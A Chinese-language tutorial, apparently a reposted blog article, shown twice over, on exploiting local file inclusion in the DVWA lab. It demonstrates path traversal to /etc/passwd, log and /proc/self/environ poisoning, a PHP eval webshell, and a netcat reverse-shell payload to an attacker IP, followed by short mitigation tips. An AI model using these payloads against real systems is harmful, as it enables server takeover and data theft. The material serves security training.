如何进行本地文件包含(LFI)的渗透测试分析?

更新于
2026-09-22 12:15:37
26阅读来源:SEO资讯
  • 内容介绍
  • 文章标签
  • 相关推荐

本文共计1198个文字,预计阅读时间需要5分钟。

如何进行本地文件包含(LFI)的渗透测试分析?

一、本地文件包含漏洞本地文件包含漏洞指的是包含本地文件的功能没有正确限制,攻击者可以通过构造特定的URL来访问服务器上的任意文件,包括敏感文件。例如,包含本地文件的PHP文件可能如下所示:

php

二、利用方式

1.通过访问类似`http://example.com/index.php?page=../etc/passwd`的URL,可以获取到服务器的`/etc/passwd`文件内容。

2.如果服务器上存在可以执行PHP代码的文件,攻击者可能通过上传恶意文件并包含该文件,从而获取webshell。

三、防范措施

1.对包含文件的功能进行严格的输入验证,确保只允许包含特定的文件路径。

2.对输入的文件路径进行过滤,避免包含`..`等路径符号。

3.使用安全配置文件,限制PHP执行文件的范围,防止执行敏感文件。

一、本地文件包含

  本地文件包含漏洞指的是包含本地的php文件,而通过PHP文件包含漏洞入侵网站,可以浏览同服务器所有文件,并获得webshell。

看见?page=标志性注入点,提示我们输入?page=index.php

通过报错,我们可以知道当前文件包含的目录路径是/var/www/dvwa/vulnerabilities/fi/

我们可以通过../../../../../etc/passwd 试一下能不能显示默认用户账户密码

发现可以访问。所以存在本地文件包含漏洞(LFI),你可以通过这种方法访问一些密码、敏感信息文件。

==============================================================================

如何利用LFI漏洞获得反弹shell,完全控制目标主机?

  通过注入恶意代码到可读的文件中,然后浏览它使恶意代码被执行,比如

  /proc/self/environ

  /var/log/auth.log

  /var/log/apache2/access.log

  通常使用日志文件完成,因为本地文件通常会注册或写入日志文件。

==============================================================================

举个栗子:

  打开burpsuite,开启代理。浏览器访问下面url抓取192.168.164.129/dvwa/vulnerabilities/fi/?page=../../../../../proc/self/environ

发现会执行代理,那我们把包修改为php代码后转发试试。

修改完成,转发试试结果:

可以发现php代码被执行了。所以我们就可以将payload换成webshell.php中的php代码从而获得webshell。

比如注入一句话木马

<?php @eval($_POST['pass']);?>,然后通过蚁剑连接。 ======================================================================================== 获取反弹shell获得目标服务器的完全控制权。

方法一:

本次换个方式,从文件上传那篇知道passthru("")函数是PHP执行系统命令的,这里使用netcat执行监听端口命令

构造payload为 <?passthru("nc -e /bin/sh 192.168.164.128 8888");?>

然后在kali上开启监听。

Forward改好的包结果如下:

如何进行本地文件包含(LFI)的渗透测试分析?

成功控制目标主机。

===============================================================================================

方法二:/var/log/auth.log

  访问日志文件

  发现22端口是开启的,我们可以尝试用ssh登入看是否会被记录在日志文件中

  

  以random账户登入,随便输给密码。然后刷新浏览器页面找到random,发现已经记录到了日志文件。

  

这说明,ssh后面的命令执行了,我们只要把命令替换成反弹shell的payload就ok了。

构造payload为 <?passthru('nc -e /bin/sh 192.168.164.128 8888');?>

开启监听,同时ssh登入。

这里命令需要进行base64编码,编码结果如下:

最后ssh回车车,刷新浏览器页面,执行注入命令反弹shell连接攻击主机。

成功控制目标主机。

本文共计1198个文字,预计阅读时间需要5分钟。

如何进行本地文件包含(LFI)的渗透测试分析?

一、本地文件包含漏洞本地文件包含漏洞指的是包含本地文件的功能没有正确限制,攻击者可以通过构造特定的URL来访问服务器上的任意文件,包括敏感文件。例如,包含本地文件的PHP文件可能如下所示:

php

二、利用方式

1.通过访问类似`http://example.com/index.php?page=../etc/passwd`的URL,可以获取到服务器的`/etc/passwd`文件内容。

2.如果服务器上存在可以执行PHP代码的文件,攻击者可能通过上传恶意文件并包含该文件,从而获取webshell。

三、防范措施

1.对包含文件的功能进行严格的输入验证,确保只允许包含特定的文件路径。

2.对输入的文件路径进行过滤,避免包含`..`等路径符号。

3.使用安全配置文件,限制PHP执行文件的范围,防止执行敏感文件。

一、本地文件包含

  本地文件包含漏洞指的是包含本地的php文件,而通过PHP文件包含漏洞入侵网站,可以浏览同服务器所有文件,并获得webshell。

看见?page=标志性注入点,提示我们输入?page=index.php

通过报错,我们可以知道当前文件包含的目录路径是/var/www/dvwa/vulnerabilities/fi/

我们可以通过../../../../../etc/passwd 试一下能不能显示默认用户账户密码

发现可以访问。所以存在本地文件包含漏洞(LFI),你可以通过这种方法访问一些密码、敏感信息文件。

==============================================================================

如何利用LFI漏洞获得反弹shell,完全控制目标主机?

  通过注入恶意代码到可读的文件中,然后浏览它使恶意代码被执行,比如

  /proc/self/environ

  /var/log/auth.log

  /var/log/apache2/access.log

  通常使用日志文件完成,因为本地文件通常会注册或写入日志文件。

==============================================================================

举个栗子:

  打开burpsuite,开启代理。浏览器访问下面url抓取192.168.164.129/dvwa/vulnerabilities/fi/?page=../../../../../proc/self/environ

发现会执行代理,那我们把包修改为php代码后转发试试。

修改完成,转发试试结果:

可以发现php代码被执行了。所以我们就可以将payload换成webshell.php中的php代码从而获得webshell。

比如注入一句话木马

<?php @eval($_POST['pass']);?>,然后通过蚁剑连接。 ======================================================================================== 获取反弹shell获得目标服务器的完全控制权。

方法一:

本次换个方式,从文件上传那篇知道passthru("")函数是PHP执行系统命令的,这里使用netcat执行监听端口命令

构造payload为 <?passthru("nc -e /bin/sh 192.168.164.128 8888");?>

然后在kali上开启监听。

Forward改好的包结果如下:

如何进行本地文件包含(LFI)的渗透测试分析?

成功控制目标主机。

===============================================================================================

方法二:/var/log/auth.log

  访问日志文件

  发现22端口是开启的,我们可以尝试用ssh登入看是否会被记录在日志文件中

  

  以random账户登入,随便输给密码。然后刷新浏览器页面找到random,发现已经记录到了日志文件。

  

这说明,ssh后面的命令执行了,我们只要把命令替换成反弹shell的payload就ok了。

构造payload为 <?passthru('nc -e /bin/sh 192.168.164.128 8888');?>

开启监听,同时ssh登入。

这里命令需要进行base64编码,编码结果如下:

最后ssh回车车,刷新浏览器页面,执行注入命令反弹shell连接攻击主机。

成功控制目标主机。